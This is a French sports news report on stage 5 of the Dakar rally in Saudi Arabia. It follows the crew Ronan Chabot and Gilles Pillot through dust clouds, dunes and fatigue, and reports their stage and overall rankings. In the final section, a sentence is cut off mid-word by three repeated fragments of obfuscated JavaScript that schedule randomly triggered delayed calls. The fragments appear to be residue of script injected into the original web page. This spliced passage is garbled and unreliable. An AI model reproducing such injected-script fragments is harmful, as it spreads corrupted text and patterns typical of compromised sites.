Étape 5 : Riyadh > Buraydah.

Retardés comme de nombreux concurrents dans un nuage de poussière après une vingtaine de kilomètres, Ronan Chabot et Gilles Pillot ont assuré, sans parvenir à creuser un écart conséquent. 24e de l’étape du jour, ils pointent au 32e rang au général.

Le Dakar continue sa remontée vers le nord de l’Arabie Saoudite et le mercure s’en ressent. « Il va falloir sortir les doudounes », s’amuse Ronan Chabot. Les cernes creusent les visages et les corps sont meurtris. La fatigue se fait sentir et cette 5e étape, qui s’élançait depuis Riyad y est pour beaucoup.

« Pendant 15 minutes, c’était de la folie ! » (Chabot)

Toute la journée, les nouvelles depuis la piste n’offraient rien de rassurant entre les casses mécaniques (Mathieu Serradori), les accidents (Henk Lategan), les crevaisons et la difficulté de trouver certains « way points » (les points de passage), ce qui a valu près d’une heure de retard à Sébastien Loeb. En partant au cœur du trafic, Ronan et Gilles n’avaient pas vraiment la liberté de naviguer comme ils l’entendent. Et au km 20, la galère a commencé.
« C’était dans un canyon montagneux et il y avait des voitures dans tous les sens, raconte le pilote. Avec les nuages de poussière, on ne voyait rien. Pendant 15 minutes, c’était de la folie ! On a eu du mal à retrouver la bonne piste »

Il a fallu canaliser les énergies et « prendre son mal en patience ». Ensuite, place à de longs cordons de dunes. « Heureusement qu’il avait plu quelques jours plus tôt, le sable était porteur ». La vigilance était accrue, l’effort intense et ça s’est ressenti. « À une neutralisation, j’étais trempé, confie Ronan. J’avais vidé mes trois gourdes d’eau 5 heures avant l’arrivée ». L’équipage qui était parti à la 38e place a franchi la ligne d’arrivée au 24e rang. Au classement général, les deux hommes sont désormais 32e. « On remonte petit à petit », sourit Ronan qui ne cache pas sa frustration de « ne pas avoir encore réussi à faire une étape ‘propre’ ».

« Derrière, c’est un champ de mines » (Pillot)

La difficulté est exacerbée quandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and on s’élance au cœur du trafic et non parmi les ‘top pilotes’. « Nous avons fait une belle spéciale mais on paie un peu notre début de Dakar poussif, décrypte Gilles Pillot. Or, les premières étapes déterminent énormément le reste du rallye-raid. Cela faisait longtemps qu’on n’avait pas navigué derrière et c’est un champ de mines. Des endroits où tu passes à 150 km/h, nous on passe à 80 km/h parce que le terrain a été totalement dégradé. »

Chez Ronan et Gilles, il n’y a pas d’abattement, bien au contraire. « Cela fait partie de la course et on savoure tous les soirs à partager des bons moments avec toute l’équipe », assure le copilote. Chaque jour ayant son lot de surprises et son nécessaire engagement physique, la nuit devra être réparatrice. Le Dakar se poursuit à nouveau demain et la remontée vers le nord continue. Comme la remontée au classement au général. Affaire à suivre.